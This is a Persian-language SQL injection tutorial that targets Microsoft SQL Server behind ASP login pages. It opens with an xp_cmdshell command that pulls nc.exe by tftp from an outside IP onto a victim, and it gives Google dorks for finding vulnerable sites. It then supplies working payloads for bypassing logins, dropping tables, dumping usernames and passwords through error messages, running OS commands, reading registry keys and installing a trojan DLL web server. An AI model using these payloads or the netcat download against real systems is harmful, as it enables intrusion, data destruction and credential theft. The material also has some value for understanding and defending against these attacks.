 :همچنین در صورتی که خواستید فایلی به سیستم مورد نظر آپلود کنید از دستور زیر استفاده می کنیم
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET 
nc.exe c:\nc.exe’” 

 
ایـن  ) البته همتـون مـی دونیـد      (تنها به این خاطر که      .  استفاده کرد  GET به جای    PUTهمچنین برای دانلود فایل باید از دستور        

 را بدهید، این دستور در سیستم قربـانی اجـرا           GET پس اگر شما دستور      !!دستورات در روی سیستم قربانی اجرا می شوند نه سیستم ما            
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 در loginمـورد مهـم دیگـر آنکـه ابزارهـا بـرای هـک کـردن پسـورد           !!! را از سیسـتم مـا بگیـرد    nc.exeشده و تلاش می کند که فایل 
ز کشف شده اند کـه مـی تواننـد بـه یـک       ها نیBuffer Overflowحتی بسیاری از .  به وفور در اینترنت یافت می شوندSQLسرورهای 

 با یکی از دوستان به این       Sapphireبا کالبد شکافی کرم     . بدهند) admin(کاربر اجازه دستیابی به کنترل سیستم با سطح دسترسی مدیر           
با کمی جسـتجو     . استفاده می کند   1433/1434 با استفاده از پورت      SQLنتیجه رسیدم که این کرم نیز از آسیب پذیری ها در سرورهای             

 :قطعا می توانید سایت های مشکل دار و آسیب پذیر در این زمینه پیدا کنید
Google Keyword(s): 

inurl:login.asp 
index of:/admin/login.asp 
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 )کار با پیام خطا (SQL Injection پیرامون عملیات ی پیشرفته ترتوضیحات: 4بخش 
 

Structured Query Language  یاSQLمتنی یا ی ـــــان زبtextual      می باشد کـه بـرای ارتبـاط متقابـل بـا Database  هـا 
)DB ( واریته   . شود استفاده می)Variety (     های بسـیاری ازSQL     کـه   بسـیاری از اسـتانداردها و نسـخه هـا         در زمـان حـال،       وجـود دارد؛

 . اخیرANSIبسیاری استانداردهای  نیز  و می باشندSQL-92بر اساس  به صورت بی ربط کاربرد و استفاده بیشتر دارند،
کـه  د   های می باش   statementکلکسیونی از    می باشد، که     Query، گزارش و    SQLدر اجرای    Typical مختص و نمونه یا   واحد  

  . تنها را بازگشت می دهد'result set'یک به طور نمونه 
Statement    مابارات های    ها یاSQL    انک های اطلاعاتی را تغییر      ساختار و ساختمان ب   ، می توانند)modify (  دهند)   با استفاده از

همچنـین مـی تواننـد محتویـات بانـک هـای        و ) این کار انجام مـی شـود  DDL یا Data Definition Languageدستورها و عملگرهای 
 ایـن کـار   DML یـا  Data Manipulation Languageبا استفاده از دستورها یـا عملگرهـای   (کنند را نیز دستکاری )  هاDB(اطلاعاتی 

 SQLنسـخه و اسـتانداردی از   ،  بحث خواهیم کـرد Transact-SQLما به طور صریح و مخصوص درباره  در این قسمت،     .)انجام می شود  
 . استفاده شده استMicrosoft SQL Serverکه به وسیله 

یـا  الحـاق کـردن   تاد که یک نفوذگر قادر به هنگامی اتفاق خواهد اف، SQL Injection یا به اصطلاح انجام عملیات SQLتزریق 
insert   از   یسری های   کردن Statement   های SQL     در یـک    دستکاری کردن اطلاعات ورودی     به وسیله   در یک گزارشApplication 

 : چیزی شبیه به خط زیر می باشدSQL در typical معمول و Statementیک  .تاس
select id, forename, surname from authors  

 
 retrieveبازیافت و بـه اصـطلاح    'author' را از جدول 'id', 'forename', 'surname'های ) column(ستون ، Statementاین 

 'author'می تواند محدود بـه یـک    'result set' .بازگشت داده خواهد شدنیز در جدول ) row(خواهد کرد که در نتیجه تمامی ردیف ها 
 :مانند زیر. بخصوص شود

select id, forename, surname from authors where forename = 'john' and surname = 'smith'  
 

 string(حـرف هـای لفظـی رشـته هـا       و آن ایـن اسـت کـه    نکته ای مهم در اینجا وجود دارد که حتما باید آنرا به خـاطر سـپرد  

literals (   برای کلماتjohn   و smith      مـی باشـد؛ پـس بـه صـورت            'قل قول یعنی    تنها محدود به یک علامت ن 'john'   و 'smith'   خواهنـد 
 !!!بود

شـاید قـادر باشـد کـه     یک نفـوذگر  .  جمع آوری می شوندuser-suppliedاز یک ورودی  'forename'و 'surename' فیلدهای
کـه  انجام می شود  applicationبه  )value(که این کار به وسیله وارد کردن مقادیری . کند) inject( را به این گزارش تزریق SQLیک  

 :این مورد را مشاهده می کنیددر زیر 
Forename: jo'hn  
Surname: smith  

 
 : چیزی مانند زیر خواهد شدQuery Stringرشته گزارش یا بنابراین 

select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'  
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 : در بازگشت خواهد داشت که در زیر می بینیدerrorیک خطا و کوشش می کند که این گزارش را اجرا کند، گامی که بانک اطلاعاتی هن
 
Server: Msg 170, Level 15, State 1, Line 1  
Line 1: Incorrect syntax near 'hn'.  

 
اطلاعات محـدود  ،   )' (  single quoteیک علامت نقل قول یا ا  کردن کاراکترها بinsertionالحاق کردن یا ، این است که دلیل

 . می کندBreak Out را می شکند یا به اصطلاح Single-Quoteشده به 
ورودی را مانند مثال زیر در نظـر گرفتـه          اگر نفوذگر   . ناکام می ماند   را اجرا کند و      'hn'سعی خواهد کرد که     ،  DBدر این هنگام    

 :پاک می شد authorجدول  و table در ادامه این مقاله به آن ذکر خواهم کرد، بنابردلایلی که بود،
 

Forename: jo'; drop table authors--  
Surname:  
 

قـرار نـدادن آنهـا در     و چه در از ورودی) ' = single quotes(به نظر می آید که بعضی روش ها چه در پاک کردن علامت نقل قول تک 
، چنـدین مشـکل بـا    و رفع نقص از ایـن متـد،   به منظور حل کردن   این درست است، اما .مشکل سر و کار داشته باشد     با این   ها،  بعضی روش 

 .وجود دارد این متد
بتوانـد  اطلاعـات ورودی مـا،      اگـر   برای مثال،    . ها نیستند  stringدر فرم رشته ها و      تولید شده توسط کابر،     همه اطلاعات   نخست،  

 :گزارش ما چیزی شبیه به زیر خواهد بود، )احتمالا یک شماره( انتخاب کند 'id' را به وسیله authorیک 
select id, forename, surname from authors where id=1234  
 

در  .ورودی هـای عـددی اضـافه کنـد         را در انتهـای      SQL هـای    statementبـه سـادگی     در این وضعیت یک نفوذگر مـی توانـد          
تاریخ ، Microsoft Jet DBMSبرای مثال در موتور  .  های گوناگونی استفاده می شودdelimiterمات و علا، SQLاستانداردهای دیگر 

 'قرار نـدادن علامـت   بنابر دلایلی که بعد در این مقاله ذکر خواهد شد، دوم اینکه، . محدود و معین شوند '#'می توانند به وسیله علامت  ها  
 .لزوما شفا و علاج ساده نخواهد بود همان طور که در ابتدا شاید به نظر آید،

 Active Server Pages کـه در   loginصـفحه  با مثـال  در با استفاده از یک بیشـــــــــــــــتر  بعد با جزئیات این موارد را در
عـاتی در  به یک بانک اطلاروشن خواهم ساخت که در آن ،  می باشد) می گوئیمASP به صورت اختصار Active Server Pagesکه به (

SQL Server این کد بـرای صـفحه    .که اعتبار دستیابی را به بعضی نرم افزارهای ساختگی بدهیمکوشش می کنیم  دست یافته و'form' 
 : خود را وارد می کندPassword و User Nameکه در آن کاربر می باشد، 

<HTML>  
<HEAD>  
<TITLE>Login Page</TITLE>  
</HEAD>  
<BODY bgcolor='000000' text='cccccc'>  
<FONT Face='tahoma' color='cccccc'>  
<CENTER><H1>Login</H1>  
<FORM action='process_login.asp' method=post>  
<TABLE>  
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% 
width=100></INPUT></TD></TR>  
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% 
width=100></INPUT></TD></TR>  
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</TABLE>  
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>  
</FORM>  
</FONT>  
</BODY>  
</HTML>  
 

 :یک لاگین واقعی را بررسی می کند و با آن سر و کار خواهد داشت می باشد که process_login.aspُاین کد برای 
<HTML>  
<BODY bgcolor='000000' text='ffffff'>  
<FONT Face='tahoma' color='ffffff'>  
<STYLE>  
p { font-size=20pt ! important}  
font { font-size=20pt ! important}  
h1 { font-size=64pt ! important}  
</STYLE>  
<%@LANGUAGE = JScript %>  
<%  
function trace( str )  
{  
if( Request.form("debug") == "true" )  
Response.write( str );  
}  
function Login( cn )  
{  
var username;  
var password;  
username = Request.form("username");  
password = Request.form("password");  
var rso = Server.CreateObject("ADODB.Recordset");  
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";  
trace( "query: " + sql );  
rso.open( sql, cn );  
if (rso.EOF)  
{  
rso.close();  
%>  
<FONT Face='tahoma' color='cc0000'>  
<H1>  
<BR><BR>  
<CENTER>ACCESS DENIED</CENTER>  
</H1>  
</BODY>  
</HTML>  
<%  
Response.end  
return;  
}  
else  
{  
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Session("username") = "" + rso("username");  
%>  
<FONT Face='tahoma' color='00cc00'>  
<H1>  
<CENTER>ACCESS GRANTED<BR>  
<BR>  
Welcome,  
<% Response.write(rso("Username"));  
Response.write( "</BODY></HTML>" );  
Response.end  
}  
}  
function Main()  
{  
//Set up connection  
var username  
var cn = Server.createobject( "ADODB.Connection" );  
cn.connectiontimeout = 20;  
cn.open( "localserver", "sa", "password" );  
username = new String( Request.form("username") );  
if( username.length > 0)  
{  
Login( cn );  
}  
cn.close();  
}  
Main();  
%>  
 

 : را ایجاد می کندQuery String می باشد که process_login.aspنکته و مورد بحرانی در اینجا، در قسمت 
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";  
 

ی همـه   پـاک خواهـد شـد و امکـان دسـتیابی بـرا      'users' و جـدول    tableاگر کاربر موارد زیر را در نظر بگیرد، در ایـن هنگـام              
 : ها سلب خواهد شدuserکاربران و 

Username: '; drop table users--  
Password: AnyThing! ☺ 
 

) یعنی توضـیح یـک خطـی    (SINGLE LINE COMMENTیک توالی و ترتیب  می باشد، '--'که به صورت  '-'راکتر توالی کا
 در انتهـای فیلـد    '--'کاراکترهـای . ی دیگـری مشـخص مـی کنـد    آخر یک گزارش را در ابتدا ';' می باشد و کاراکتر Transact-SQLدر 

username  ه پایان رسیدن بدون خطا لازم استاین نوع مخصوص از گزارش برای ببرای. 
بـا اسـتفاده از ایـن ورودی زیـر،      را بدانـد،    usernameمفروض بر اینکه نـام      به عنوان هر کاربری لاگین شود،       نفوذگر می تواند    

 :لاگین شود usersبه عنوان اولین کاربر در جدول  نفوذگر می تواند
Username: admin'--  
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 بـا اسـتفاده از ورودی زیـر،    .نفوذگر می تواند به عنوان یک کـاربر کـاملا سـاختگی    ... یا —Username: ' or 1=1با ورودی 
 :لاگین شود

Username: ' union select 1, 'fictional_user', 'some_password', 1--  
 recordset تعیـین کـرده، قسـمتی از      که نفوذگر    'constant'گمان می کند که ردیف       application، این است که     کارکرددلیل  
 . از بانک اطلاعاتی بوده است شده retrieveیا بازیافت شده 

 

 :)Error Message(به دست آوردن اطلاعات با استفاده از پیام های خطا 
مجبـور خواهـد بـود کـه سـاختار بانـک اطلاعـاتی و جـدول هـای                   عات در بانک اطلاعاتی، نفوذگر      به منظور دستکاری کردن اطلا    

 : ما، شاید با استفاده از دستورات زیر ساخته شده باشد'users'برای مثال جدول . مشخصی را تعیین کند
create table users( id int,  
username varchar(255),  
password varchar(255),  
privs int  
)  

 
 :و کاربرانی، موارد زیر را وارد کرده اند

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )  
insert into users values( 0, 'guest', 'guest', 0x0000 )  
insert into users values( 0, 'chris', 'password', 0x00ff )  
insert into users values( 0, 'fred', 'sesame', 0x00ff )  

 
دانسـتن سـاختار   بـدون   . را برای خـود ایجـاد کنـد   User Accountدر اینجا می خواهیم ببینیم که چطور نفوذگر می تواند یک 

نفـوذگر   .شـفاف و واضـح نیسـت    'privs'ود از فیلـد  ص ـمعنی و مقحتی اگر او موفق شود، .  این کار بعید به نظر خواهد آمد 'users'جدول
در این هنگـام او چـه کسـی خواهـد بـود        ایجاد کند،    applicationبرای خودش یک اکانت در سطح پائین در          را وارد کند و      '1'شاید یک   

بـه صـورت پـیش      ( بازگشت داده شوند     applicationاگر پیام های خطا از      خوشبختانه برای نفوذگر،     .Administrativeبعد از دستیابی    
 ASPهر مقداری را به وسـیله اکانـت در   خواهد توانست کل ساختار بانک اطلاعاتی را تعیین هویت کند و او ، )ASP behaviourفرض 

Application و استفاده از آن برای وصل شدن به SQL Serverمی تواند بخواند . 
کنیـک هـا کـار مـی     این کـه چگونـه ایـن ت     برای توضیح دادن    asp. و اسکریپت های     suppliedاز یک بانک اطلاعاتی     مثال زیر   

و نیز نام های فیلـدها را       نام های جداولی که گزارش ها روی آنها فعالیت می کنند            نخست، نفوذگر می خواهد یک       .استفاده می کند  کنند،  
 :استفاده می کند) select) select statement مربوط به statement از havingنفوذگر از جمله به این منظور، . به دست آورد

Username: ' having 1=1-- 
 

 :این گزارش باعث ایجاد پیام خطای زیر خواهد شد
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list 
because it is not contained in an aggregate function and there is no GROUP BY clause.  
/process_login.asp, line 35  
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سرتاسـر سـتون هـا بـه وسـیله      بـه  آنها مـی تواننـد     .  اول از اولین ستون را در گزارش می داند         نام جدول و ستون   نفوذگر  اکنون،  
 : در زیر نیز می بینیدهمان طور که. دست پیدا کنند group byمعرفی کردن هرفید با یک جمله 

 Username: ' group by users.id having 1=1--  
 :که اجرای گزارش فوق باعث ایجاد خطای زیر خواهد شد

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select 
list because it is not contained in either an aggregate function or the GROUP BY clause.  
/process_login.asp, line 35  
 

 : با استفاده از گزارش زیر خواهد رسیدusernameبه سرانجام، نفوذگر 
' group by users.id, users.username, users.password, users.privs having 1=1--  

 
 :از لحاظ عملکرد برابر با دستور زیر خواهد بودهیچ گونه پیام خطایی ایجاد نخواهد کرد و که 

select * from users where username = ''  
 

 ,id و از سـتون هـای    برخـورد و سـرو کـار خواهـد داشـت     usersمی داند که گـزارش تنهـا بـه جـدول     بنابراین نفوذگر اکنون 

username, password, privsایـن  . نوع هر ستون را نیز مشخص کند، کاری مفید انجام شـده اسـت  او بتواند اگر  . نیز استفاده می کند
 :مانند.  ممکن خواهد شدtype conversionطای ـــــــــــام های خـــــــکار به وسیله استفاده از پی

Username: ' union select sum(username) from users-- 
 

 را قبل از تعیین اینکـه  'sum' سعی می کند که جمله SQL Serverکه !!!! این کار باعث به دست آوردن مزیت حقیقت می شود 
 در یک فیلد متنی پیام زیر را در بر خواهد 'sum'سعی بر محاسبه  . کندapplyبه کار ببرد و  برابر است،row setتعداد فیلدها در دو  آیا

 :داشت
 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot 
take a varchar data type as an argument.  
/process_login.asp, line 35  
 

 ()sumسعی بر محاسـبه    ما  اگر، از طرف دیگر،     .  می باشد  'varchar'از نوع    'username'یلد  فکه این پیام به ما خواهد گفت که         
 تطـابق نـدارد   row setشماره فیلدها در هر دو قطعا پیام خطایی دریافت خواهیم کرد که به ما می گوید، از یک نوع عددی داشته باشیم، 

 :و برابر نیستند
Username: ' union select sum(id) from users-- 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a 
UNION operator must have an equal number of expressions in their target lists.  
/process_login.asp, line 35  
 

ایـن کـار بـه      . تقریبا برای تعیین کردن نوع هر ستونی در جدول یک بانک اطلاعـاتی اسـتفاده کنـیم                ما می توانیم از این تکنیک       
 :مانند مثال زیر. نفوذگر اجازه خواهد داد که یک گزارش الحاق شده به فرم خوبی را تزریق کند

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--  
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سودمندی هر پیام خطایی را که اطلاعـاتی    نفوذگر می تواند    . توانایی و استعدادهای این تکنیک در این جا ختم نمی شود          هرچند،  

پیام هـای خطـای   برای ) FoRmAt StRiNgS(قالب رشته ها یک لیست از  .به دست آورددرباره محیط یا بانک اطلاعاتی فاش می کند، 
 :گزارش زیر به دست آیدارد می تواند به وسیله اجرای استاند

select * from master..sysmessages  
 

 !!!پیام های جالبی را برای شما به ارمغان خواهد آوردامتحان کردن و بازرسی کردن این لیست، 
 

 تبـدیل  integer را بـه  stringیـک   اگر سـعی کنیـد کـه    . را بازگو خواهد کردtype conversationیک پیام بخصوص و مفید، 
 username کـه زده شـد،   login pageبرای مثـال در مثـال   . جزئیاتی کاملی از رشته ها در پیام های خطا بازگشت داده خواهد شدکنید، 
 :را باز خواهد گرداندو سیستم عاملی که در سرور در حال اجرا است،  SQL Serverنسخه به خصوص و ویژه زیر، 

Username: ' union select @@version,1,1,1— 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 
'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 
Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a 
column of data type int. 
 /process_login.asp, line 35  
 

 بـه   users تبدیل کند، چرا که اولین سـتون در جـدول            integer را به یک     'version@@'این کار باعث می شود که مقدار ثابت         
بـه دلیـل   . خواندن هر مقداری در هـر جـدولی در بانـک اطلاعـاتی اسـتفاده شـود      می تواند برای   این تکنیک    . وجود دارد  integerصورت  

 'users' هـا را از جـدول   user nameعلاقـه منـد هسـتند کـه     آنهـا   علاقه مند است، passwordsو  usernamesاینکه، نفوذگر در مورد 
 :مانند زیر. بخوانند

Username: ' union select min(username),1,1,1 from users where username > 'a'--  
 

 تبـدیل  integerی مـی کنـد کـه آن را بـه     و سع هست می شود، 'a' که بزرگتر از user nameکوچکترین باعث انتخاب این کار 
 :کند و در نتیجه پیام خطای زیر آشکار خواهد شد

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 
'admin' to a column of data type int.  
/process_login.asp, line 35  
 

این کار را بین ردیف ها در جـدول بـه وسـیله             او اکنون می تواند     .  وجود دارد  'admin'می داند که اکانت     بنابراین نفوذگر اکنون    
 :تکرار کند 'where' با جمله که به دست می آورد جدید user nameعوض کردن هر 

 
Username: ' union select min(username),1,1,1 from users where username > 'admin'--  

 
 :که پیام زیر دریافت خواهد شد

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  
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[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' 
to a column of data type int.  
/process_login.asp, line 35  
 

 : ها کندpasswordاو می تواند شروع به به دست آوردن تعیین هویت کرد،  ها را user nameهنگامی که نفوذگر 
 
Username: ' union select password,1,1,1 from users where username = 'admin'--  
 

 :کار خواهد شدکه در نتیجه پیام زیر آش
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 
'r00tr0x!' to a column of data type int.  
/process_login.asp, line 35  
 

 مـی باشـد و سـپس    single stringدر یک رشته تـک و   ها password ها و user name پیوستن همه به همیک تکنیک زیبا، 
هـر   می توانند Transact-SQL های Statement. این کار نکته و موردی دیگر را توضیح خواهد داد .integerتلاش برای تبدیل آن به 

مقـادیر آنهـا را بـه هـم پیونـد           اسکریپت زیر    .باشندمعنی و مفهوم آنها،     در همان خط بدون تغییر دادن        و رشته ای     stringدو، به صورت    
 :خواهد داد

begin declare @ret varchar(8000)  
set @ret=':'  
select @ret=@ret+' '+username+'/'+password from users where username>@ret  
select @ret as ret into foo  
end  
 

 ):که تمام آن به صورت آشکار وجود دارد(یر لاگین خواهد کرد  ز'username'با نفوذگر 
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password 
from users where username>@ret select @ret as ret into foo end— 
 

 string و سـپس رشـته هـا و           خواهـد بـود    'ret'یک ستون با نام      که حاوی     خواهد شد  'foo'م  این کار باعث ایجاد یک جدول با نا       
یـک جـدول را در بانـک اطلاعـاتی     کـه   قـادر خواهـد بـود   کاربر سـطح پـائین   حتی یک   در حالت عادی،    . های ما را در آن قرار خواهد داد       

sample درست کندبانک اطلاعاتی موقت  یا: 
Username: ' union select ret,1,1,1 from foo--  

 
 :و در نتیجه پیام خطای زیر ایجاد خواهد شد

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': 
admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.  
/process_login.asp, line 35  
 

 : می گوئیمdropو سپس جدول را پاک می کند که به آن 
Username: '; drop table foo--  
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تـه نیسـت کـه، اگـر     احتیاج به گفتن ایـن نک  .رویه و سطح انعطاف پذیری این تکنیک را پاک خواهند کرد          با اشکال   این مثال ها،    
 .از بانک اطلاعاتی به دست آورد، کار او بسیار آسان خواهد شد) .rich error info(ارزشمندی خطای نفوذگر بتواند اطلاعات 

 
 شیوه به کار بردن دستیابی های بیشتر

ا بـرای بـه دسـت آوردن،        آنها دوست دارند که ایـن دسـتیابی ر         کنترل یک بانک اطلاعاتی را در دست دارد،          هنگامی که یک نفوذگر   
 :این مورد به وسیله چندین راه به انجام خواهد رسید .کنترل دستیابی در شبکه به دست آورند

 
 .در سرور بانک اطلاعاتی، SQL Serverاستفاده از رویه تمدیدیه ذخیره شده برای اجرای دستورات به عنوان یک کاربر در  -1
 Local بـه عنـوان   SQL Serverاگـر  ( هـای نهـانی   SAM و یـا  Registry Keysاستفاده از رویه ذخیره شده برای خوانـدن   -2

System Accountدر حال اجرا می باشد .( 

 .استفاده از دیگر رویه های تمدیدیه ذخیره شده برای نفوذ در سرور -3

 .گزارش ها روی سرورهای پیوندیاجرای  -4

 .SQL Serverسپلویت ها از میان پروسه ساخت رویه های تمدیدیه ذخیره شده به صورت سفارشی برای اجرای اک -5

 .خواندن هر فایلی در سروربرای  bulk insertاستفاده از جمله  -6

 . های اختیاری در سرورtext file برای ساخت bcpاستفاده از  -7

نـرم افزارهـای   جاد ــــ ـای بـرای  sp_OAGetProperty و sp_OACreate, sp_OAMethodاستفاده از رویه های سیسـتمی   -8
Ole Automation) Active X ( که تقریبا هر کاری کهASPمی تواند انجام دهد را انجام بدهند . 

 
ممکن است که یک نفوذگر قادر باشد با دیگر رویه ها           . اینها تنها تعدادی از طرح های حمله بود که بیشتر برای نفوذ استفاده می شد              

ارائه خواهم دید کـه ایـن کـار تنهـا بـه       که شناخته شده هستند، SQL Serverاین تکنیک ها را در یک مجموعه از نفوذهای . نیز کارکند
 . کـرد  Injection را   SQLمنظور نمایش اینکه این عملیات چگونه ممکن هستند و همچنین ارائه دادن قابلیت و قدرتی کـه بـا آن بتـوان                       

 ):در قبل مختصر اشاره شده بودند(هیم پس همه مواردی که در بالا ذکر شد را در خطوط بعد دقیق تر مورد بحث خواهیم می د
 

[xp_cmdshell]: 
 های ترجمـه  Dynamic Link Library ها یا DLL در اصل Extended Stored Proceudreرویه های ذخیره شده مازاد یا 

زه دستیابی  اجاSQL Server های Applicationآنها به  . خاص استفاده می کنندSQL Serverاز یک  شده ای هستند که Compileو 
 . قابلیت هایی بسیار مفید هستند می دهند، و ++C/Cبه قدرتی مانند 

کارهای گونـاگونی را انجـام    قرار دارند، و Built-In به صورت SQL Server در extended stored proceduresتعدادی از 
 .، اشـاره کـرد  Registryفعـال داشـتن بـر روی    می توان به فرستادن ایمیـل و عمـل کـردن و بـه هـر حـال فعـل و ان            از جمله   می دهند که    

xp_cmdshell  یکextended stored procedures  به صورتBuilt-In  اجازه اجرای دسـتورهای خطـی دلخـواه را مـی     می باشد که
 :برای مثال. دهد

 :ی گیرد در حال حاضر در آنجا در حال اجرا هستند، مSQL Serverدستور زیر یک لیست از شاخه ای که پروسه های 
exec master_xp_cmdshell 'dir' 
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و ) LOCAL SYSTEM ACCOUNT( به صورت عادی چه به عنوان اکانت محلـی سیسـتمی   SQL Serverتا زمانی که 
نفوذگر مـی توانـد عملیـات زیـادی بـرای      در حال اجرا باشد، ) DOMAIN USER ACCOUNT(چه به عنوان اکانت حوزه کاربری 

 .آسیب رساندن انجام دهد
 

[xp_regread]: 
ــه صــورت    ــد ب ــای مفی ــه ه ــوان BUILT-INیکــی از مجموع ــه عن ــع و دســتورات extended stored procedures ب ، تواب

xp_regXXXکه در زیر لیستی از آنها را می بینید. هستند : 
xp_regaddmultistring  
xp_regdeletekey  
xp_regdeletevalue  
xp_regenumkeys  
xp_regenumvalues  
xp_regread  
xp_regremovemultistring  
xp_regwrite  

 
 هـای   Shareدستور زیر تعیین می کند که آیا اشـتراک هـا و             . استفاده از این توابع می پردازیم     در زیر به مثال هایی در رابطه با         

NULL-SESSIONروی سرور فعال و قابل دسترس هستند یا خیر : 
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 
'nullsessionshares'  
 

با این اطلاعـات،    .  شده است را آشکار می کند      Configure که در روی سرور      SNMP های   Communityتمامی  دستور زیر   
 بـه اشـتراک گذاشـته شـده         hostن چنـدین    بـی گرایش به تغییرات به نـدرت داشـته باشـید و             SNMP های   Communityتازمانی که   

)Shared (    ،یک نفوذگر شاید حتی بتواند وسایل شبکه را در همان منطقه و             باشندArea         از شبکه، پیکربنـدی مجـدد و Reconfigure 
 :کند

exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'  
 

 اسـتفاده کنـد، پیکربنـدی سـرویس یـک سیسـتم را       SAMکن است از این توابع برای خوانـدن        تصور اینکه نفوذگر چگونه مم     
 شـد،  Log inفردی به سرور که ، یا یک دستور دلخواه را دفعه بعد ) شدن ماشین انجام خواهند شدRebootاین تغییرات با (تغییر دهد 

 .تاجرا کند، بسیار راحت اس
 

 Linked Serversسرورهای پیوند یافته یا 
SQL Server مکانیزمی را ارائه می دهد که به وسیله آن می توان سرورها را به صورت linked   شده یا پیونـد یافتـه قـرار داد  .

انـک اطلاعـاتی     اجازه خواهد داد که در یک بانـک اطلاعـاتی موجـود در سـرور، اطلاعـات را در ب                    Queryکه در حقیقت به یک گزارش و        
 . دیگری دستکاری و ویرایش کند

ــدول    ــا در ج ــک ه ــن لین ــت master..sysserversای ــده اس ــره ش ــه     .  ذخی ــتفاده از روی ــرای اس ــدی ب ــرور پیون ــک س ــر ی اگ
sp_addlinkedsrvlogin                     پیکربندی شده باشد، یک پیوند اعتبار یافته ایجاد خواهد شد و همه سرورهای پیوندیافته بـه یکـدیگر بـدون 
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 به گزارش ها اجازه خواهـد داد کـه          ’openquery‘تابع  . که مجددا به آنها لاگین کرد، می توانند مورد استفاده و دسترس قرار بگیرند             این
 .در برابر سرورهای پیوندی اجرا شوند

 
  هاExtended Stored Procedureدیگر رویه های ذخیره شده یا 

ورد استفاده بعضی از مـدیرها قـرار مـی گیـرد و متاسـفانه یـا خوشـبختانه                   در این قسمت رویه های ذخیره شده که کم و بیش م           
 . عواقب و اثرات بسیار زیان باری را به همراه خواهد داشت

 
لذا این قسـمت توجـه   .  ها آشنا کندExtended Stored Procedureمطالعه این قسمت می تواند شما را بهتر و بیشتر با کار 

 .متمایزی را می طلبد
 

procedure و رویه xp_servicecontrol کاربر اجازه  به یکStart/Stop/Pause/Stopسرویس ها را می دهد : 
exec master..xp_servicecontrol 'start', 'schedule'  
exec master..xp_servicecontrol 'start', 'server'  

 
 :دهد های مفید را نشان می extended stored proceduresجدول زیر بعضی از 

 

 رویه توضیحات
 xp_availablemedia .درایوهای قابل دسترس را در سیستم نمایش می دهد

 xp_dirtree . می شودDirectry Treeباعث نمایش یک 
 xp_enumdsn . را در سرور شمارش می کندODBCمنابع اطلاعاتی 

 مربـوط بـه   Security Modeاطلاعاتی مربوط به حالـت امنیـت یـا    
 xp_loginconfig .ار می سازدسرور را آشک

 Compressedبه کاربر اجازه می دهد تا یـک آرشـیو فشـرده یـا     

Archive        یا هـر فـایلی کـه سـرور         ( از فایل های روی سرور بسازد
 .)امکان دستیابی به آنرا داشته باشد

xp_makecab 

 هـایی کـه سـرور امکـان دسـتیابی بـه آنهـا را         Domainحوزه ها و    
 xp_ntsec_enumdomains .دارد، می شمارد

 PIDیک پروسه در حال اجرا را خاتمه می دهد که اینکـار بـا دادن                
 xp_terminate_process . مربوط به آن پروسه انجام می شودProcessing IDیا 
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  هاCustom Extended Stored Procedureرویه های ذخیره شده ی سفارشی یا 
 Extended Stored Procedure بـرای  DLL نسبتا هم وظیفه ساده ای برای ایجـاد   یک رویه نسبتا ساده هست کهAPIرویه 

بــه وســیله  SQL Server روی یــک DLLچنــدین راه بــرای آپلــود کــردن . دارد کــه کــدهای مشــکوک و مخربــی را منتقــل مــی کنــد
Command Line   ،تباطی گوناگون را درگیر می سازند مکانیزم های ارهمچنین متد ها و روش هایی دیگری وجود دارد که  وجود دارد

 . ها اشاره کردFTP Script و  هاHTTP Downloadبه عنوان مثال می توان به . که می تواند اتوماتیک شوند
لازم زوما ــــ ـل – دسترسـی پیـدا کنـد     مـی توانـد بـه آن   SQL Serverیک ماشینی وجـود دارد کـه   در ، DLLهنگامی که فایل 

در این مثال، ( را به کمک این دستور اضافه کند extended stored procedureنفوذگر می تواند  – باشد SQL Serverخود یست ــــن
 ): می کندexportرویه ما یک تروجان وب سرور بسیار کوچک هست که فایل های سیستم سرورها را 

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'  
 

 : می تواند به وسیله یک فراخوانی در حالت عادی اجرا شودExtended Stored Procedureدر این هنگامی 
exec xp_webserver  
 

 :می توان به کمک دستور زیر آنرا پاک کردهنگامی که رویه اجرا شد، 
sp_dropextendedproc 'xp_webserver'  

 

 
Import کردن فایل های Textبه داخل جداول  

به سادگی مـی  .  به داخل یک جدول موقتی وجود داردtext کردن یک فایل insert، امکان ’bulk insert‘با استفاده از جمله ی 
 :توان جدولی مانند زیر ایجاد کرد

